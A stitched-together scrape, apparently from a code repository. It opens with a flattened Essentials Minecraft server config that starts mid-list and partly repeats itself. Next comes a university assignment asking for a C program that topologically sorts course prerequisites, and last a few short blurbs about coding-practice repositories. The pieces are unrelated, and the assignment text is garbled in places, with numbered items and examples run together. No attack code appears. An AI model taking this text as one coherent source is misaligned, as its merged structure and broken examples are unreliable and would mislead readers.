cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.

############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: 'none' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isnt used, force essentials to add the prefix and suffix from permission plugins to displayname # This setting is ignored if essentialschat.jar is used, and defaults to 'true' # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 5 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command # This will also prevent the player attacking other players teleport-invulnerability: 4 # The delay, in seconds, required between /heal attempts heal-cooldown: 60 # What to prevent from /i /give # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules # Note: The blacklist above will be ignored then. # Permissions: # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution spawnmob-limit: 10 # Shall we notify users when using /lightning warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # Disabled commands will be completely unavailable on the server. # Disabling commands here will have no effect on command conflicts. disabled-commands: # - nick # These commands will be shown to players with socialSpy enabled # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: tools: delay: 10 items: - 272 1 - 273 1 - 274 1 - 275 1 dtools: delay: 600 items: - 278 1 efficiency:1 durability:1 fortune:1 name:&4Gigadrill lore:The_drill_that_&npierces|the_heavens - 277 1 digspeed:3 name:Dwarf lore:Diggy|Diggy|Hole - 298 1 color:255,255,255 name:Top_Hat lore:Good_day,_Good_day - 279:780 1 notch: delay: 6000 items: - 397:3 1 player:Notch color: delay: 6000 items: - 387 1 title:&4Book_&9o_&6Colors author:KHobbits lore:Ingame_color_codes book:Colors firework: delay: 6000 items: - 401 1 name:Angry_Creeper color:red fade:green type:creeper power:1 - 401 1 name:StarryNight color:yellow,orange fade:blue type:star effect:trail,twinkle power:1 - 401 2 name:SolarWind color:yellow,orange fade:red shape:large effect:twinkle color:yellow,orange fade:red shape:ball effect:trail color:red,purple fade:pink shape:star effect:trail power:1 # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: #- color #- balance #- buy #- sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled backup: # Interval in minutes interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups sort-list-by-groups: false # More output to the console debug: false # Set the locale for all messages # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties" # Don't forget to remove the # in front of the line # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here death-messages: true # Add worlds to this list, if you want to automatically disable god mode there no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home, defaults to 'default' below. # Define different amounts of multiple homes for different permissions, e.g. essentials.sethome.multiple.vip # People with essentials.sethome.multiple.unlimited are not limited by these numbers. # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: default: 3 # essentials.sethome.multiple.vip vip: 5 # essentials.sethome.multiple.staff staff: 10 # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 0 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have # The amount is always limited to 10 trillion because of the limitations of a java double max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help non-ess-in-help: true # Hide plugins which do not give a permission # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '&l{DISPLAYNAME} &3➽ &f&l{MESSAGE}' Dziewczyna: '{DISPLAYNAME} &3➽ &5 {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: # Default: '{WORLDNAME} {DISPLAYNAME}&7:&r {MESSAGE}' # Admins: '{WORLDNAME} &c[{GROUP}]&r {DISPLAYNAME}&7:&c {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # Database settings for sign/rail protection # mysql or sqlite # We strongly recommend against using mysql here, unless you have a good reason. # Sqlite seems to be faster in almost all cases, and in some cases mysql can be much slower. datatype: 'sqlite' # If you specified MySQL above, you MUST enter the appropriate details here. # If you specified SQLite above, these will be IGNORED. username: 'root' password: 'root' mysqlDb: 'jdbc:mysql://localhost:3306/minecraft' # General physics/behavior modifications prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players # permission essentials.protect.entitytarget.bypass disables this entitytarget: false # Prevent the spawning of creatures spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: false bat: false witch: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Protect various blocks. protect: # Protect all signs signs: false # Prevent users from destroying rails rails: false # Blocks below rails/signs are also protected if the respective rail/sign is protected. # This makes it more difficult to circumvent protection, and should be enabled. # This only has an effect if "rails" or "signs" is also enabled. block-below: true # Prevent placing blocks above protected rails, this is to stop a potential griefing prevent-block-on-rails: false # Store blocks / signs in memory before writing memstore: false # Disable various default physics and behaviors disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build # Set true to disable building for those people # Setting to false means EssentialsAntiBuild will never prevent you from building build: true # Should people with build: false in permissions be allowed to use items # Set true to disable using for those people # Setting to false means EssentialsAntiBuild will never prevent you from using use: true # Should we tell people they are not allowed to build warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing placement: 10,11,46,327 # Which items should people be prevented from using usage: 327 # Which blocks should people be prevented from breaking break: # Which blocks should not be pushed by pistons piston: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&dWelcome {DISPLAYNAME}&d to the server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: tools # Set this to lowest, if you want Multiverse to handle the respawning # Set this to high, if you want EssentialsSpawn to handle the respawning # Set this to highest, if you want to force EssentialsSpawn to handle the respawning respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.

Points: 100 Topics: Graphs, topological sort, freedom to decide how to represent data and organize code (while still reading in a graph and performing topological sort) PLAGIARISM/COLLUSION: You should not read any code (solution) that directly solves this problem (e.g. implements DFS, topological sorting or other component needed for the homework). The graph representation provided on the Code page (which you are allowed to use in your solution) and the pseudocode and algorithm discussed in class provide all the information needed. If anything is unclear in the provided materials check with us. You can read materials on how to read from a file, or read a Unix file or how to tokenize a line of code, BUT not in a sample code that deals with graphs or this specific problem. E.g. you can read tutorials about these topics, but not a solution to this problem (or a problem very similar to it). You should not share your code with any classmate or read another classmate's code. Part 1: Main program requirements (100 pts) Given a list of courses and their prerequisites, compute the order in which courses must be taken so that when taking a courses, all its prerequisites have already been taken. All the files that the program would read from are in Unix format (they have the Unix EOL). Provided files: ● Grading Criteria ● cycle0.txt ● data0.txt ● data0_rev.txt ● data1.txt - like data0.txt but the order of the prerequisite courses is modified on line 2. ● slides.txt (graph image) - courses given in such a way that they produce the same graph as in the image. (The last digit in the course number is the same as the vertex corresponding to it in the drawn graph. You can also see this in the vertex-to-course name correspondence in the sample run for this file.) ● run.html● data0_easy.txt - If you cannot handle the above file format, this is an easier file format that you can use, but there will be 15 points lost in this case. More details about this situation are given in Part 3. ● Unix.zip - zipped folder with all data files. ● For your reference: EOL_Mac_Unix_Windows.png - EOL symbols for Unix/Mac/Windows Specifications: 1. You can use structs, macros, typedef. 2. All the code must be in C (not C++, or any other language) 3. Global or static variables are NOT allowed. The exception is using macros to define constants for the size limits (e.g. instead of using 30 for the max course name size). E.g. #define MAX_ARRAY_LENGTH 20 4. You can use static memory (on the frame stack) or dynamic memory. (Do not confuse static memory with static variables.) 5. The program must read from the user a filename. The filename (as given by the user) will include the extension, but NOT the path. E.g.: data0.txt 6. You can open and close the file however many times you want. 7. File format: 1. Unix file. It will have the Unix EOL (end-of-line). 2. Size limits: 1. The file name will be at most 30 characters. 2. A course name will be at most 30 characters 3. A line in the file will be at most 1000 characters. 3. The file ends with an empty new line. 4. Each line (except for the last empty line) has one or more course names. 5. Each course name is a single word (without any spaces). E.g. CSE1310 (with no space between CSE and 1310). 6. There is no empty space at the end of the line. 7. There is exactly one empty space between any two consecutive courses on the same line. (You do not need to worry about having tabs or more than one empty space between 2 courses.) The first course name on each line is the course being described and the following courses are the prerequisites for it. E.g. CSE2315 CSE1310 MATH1426 ENGL13018. The first line describes course CSE2315 and it indicates that CSE2315 has 2 prerequisite courses, namely: CSE1310 and MATH1426. The second line describes course ENG1301 and it indicates that ENG1301 has no prerequisites. 9. You can assume that there is exactly one line for every course, even for those that do not have prerequisites (see ENGL1301 above). Therefore you can count the number of lines in the file to get the total number of courses. 10.The courses are not given in any specific order in the file. 8. You must create a directed graph corresponding to the data in the file. 1. The graph will have as many vertices as different courses listed in the file. 2. You can represent the vertices and edges however you want. 3. You do NOT have to use a graph struct. If you can do all the work with just the 2D table (the adjacency matrix) that is fine. You HAVE TO implement the topological sorting covered in class (as this assignment is on Graphs), but you can organize, represent and store the data however you want. 4. For the edges, you can use either the adjacency matrix representation or the adjacency list. If you use the adjacency list, keep the nodes in the list sorted in increasing order. 5. For each course that has prerequisites, there is an edge, from each prerequisite to that course. Thus the direction of the edge indicates the dependency. The actual edge will be between the vertices in the graph corresponding to these courses. E.g. file data0.txt has: c100 c300 c200 c100 c200 c100 Meaning: c100-----> c200 \ | \ | \ | \ | \ | \ | V V c300(The above drawing is provided here to give a picture of how the data in the file should be interpreted and the graph that represents this data. Your program should *NOT* print this drawing. See the sample run for expected program output.) From this data you should create the correspondence: vertex 0 - c100 vertex 1 - c300 vertex 2 - c200 and you can represent the graph using adjacency matrix (the row and column indexes are provided for convenience): | 0 1 2 ----------------- 0| 0 1 1 1| 0 0 0 2| 0 1 0 e.g. E[0][1] is 1 because vertex 0 corresponds to c100 and vertex 1 corresponds to c300 and c300 has c100 as a prerequisite. Notice that E[1][0] is not 1. If you use the adjacency list representation, then you can print the adjacency list. The list must be sorted in increasing order (e.g. see the list for 0). It should show the corresponding node numbers. E.g. for the above example the adjacency list will be: 0: 1, 2, 1: 2: 1, 6. 7. In order for the output to look the same for everyone, use the correspondence given here: vertex 0 for the course on the first line, vertex 1 for the course on the second line, etc. 1. Print the courses in topological sorted order. This should be done using the DFS (Depth First Search) algorithm that we covered in class and the topological sorting based on DFS discussed in class. There is no topological order if there is a cycle in the graph; in this case print an error message. If in DFV-visit when looking at the (u,v) edge, if the color of v is GRAY then there is a cycle in the graph (and therefore topological sorting is not possible). See the Lecture on topological sorting (You can find the date based on the table on the Scans page and then watch the video from that day. I have also updated the pseudocodein the slides to show that. Refresh the slides and check the date on the first page. If it is 11/26/2020, then you have the most recent version.) 8. (6 points) create and submit 1 test file. It must cover a special case. Indicate what special case you are covering (e.g. no course has any prerequisite). At the top of the file indicate what makes it a special case. Save this file as special.txt. It should be in Unix EOL format. Part 2: Suggestions for improvements (not for grade) 1. CSE Advisors also are mindful and point out to students the "longest path through the degree". That is longest chain of course prerequisites (e.g. CSE1310 ---> CSE1320 --> CSE3318 -->...) as this gives a lower bound on the number of semesters needed until graduation. Can you calculate for each course the LONGEST chain ending with it? E.g. in the above example, there are 2 chains ending with c300 (size 2: just c100-->c300, size 3: c100-->c200-->c300) and you want to show longest path 3 for c300. Can you calculate this number for each course? 2. Allow the user the enter a list of courses taken so far (from the user or from file) and print a list of the courses they can take (they have all the prerequisites for). 3. Ask the user to enter a desired number of courses per semester and suggest a schedule (by semester). Part 3: Implementation suggestions 1. Reading from file: (15 points) For each line in the file, the code can extract the first course and the prerequisites for it. If you cannot process each line in the file correctly, you can use a modified input file that shows on each line, the number of courses, but you would lose the 15 points dedicated to line processing. If your program works with the "easy files", in order to make it easy for the TAs to know which file to provide, please name your C program courses_graph_easy.c. Here is the modification shown for a new example. Instead of c100 c300 c200 c100 c200 the file would have: 1 c1003 c300 c200 c100 1 c200 1. that way the first data on each line is a number that tells how many courses (strings) follow after it on that line. Everything is separated by exactly one space. All the other specifications are the same as for the original file (empty line at the end, no space at the end of any line, length of words, etc). Here is data0_easy.txt Make a direct correspondence between vertex numbers and course names. E.g. the **first** course name on the first line corresponds to vertex 0, the **first** course name on the second line corresponds to vertex 1, etc... 2. 3. The vertex numbers are used to refer to vertices. 4. In order to add an edge in the graph you will need to find the vertex number corresponding to a given course name. E.g. find that c300 corresponds to vertex 1 and c200 corresponds to vertex 2. Now you can set E[2][1] to be 1. (With the adjacency list, add node 1 in the adjacency list for 2 keeping the list sorted.) To help with this, write a function that takes as arguments the list/array of [unique] course names and one course name and returns the index of that course in the list. You can use that index as the vertex number. (This is similar to the indexOf method in Java.) 5. To see all the non-printable characters that may be in a file, find an editor that shows them. E.g. in Notepad++ : open the file, go to View -> Show symbol -> Show all characters. YOU SHOULD TRY THIS! In general, not necessarily for this homework, if you make the text editor show the white spaces, you will know if what you see as 4 empty spaces comes from 4 spaces or from one tab or show other hidden characters. This can help when you tokenize. E.g. here I am using Notepad++ to see the EOL for files saved with Unix/Mac/Windows EOL (see the CR/LF/CRLF at the end of each line): EOL_Mac_Unix_Windows.png How to submit Submit courses_graph.c (or courses_graph_easy.c) and special.txt (the special test case you created) in Canvas . (For courses_graph_easy.c you can submit the "easy" files that you created.)Your program should be named courses_graph.c if it reads from the normal/original files. If instead it reads from the 'easy' files, name it courses_graph_easy.c As stated on the course syllabus, programs must be in C, and must run on omega.uta.edu or the VM. IMPORTANT: Pay close attention to all specifications on this page, including file names and submission format. Even in cases where your answers are correct, points will be taken off liberally for non-compliance with the instructions given on this page (such as wrong file names, wrong compression format for the submitted code, and so on). The reason is that non-compliance with the instructions makes the grading process significantly (and unnecessarily) more time consuming. Contact the instructor or TA if you have any questions

Some most commonly asked and must do practice problems for placement season

Must Do Coding Questions

This repository contains solution to questions from the courses - 11 weeks DSA Workshop and Must-Do Interview Preparation from GeeksForGeeks

No description available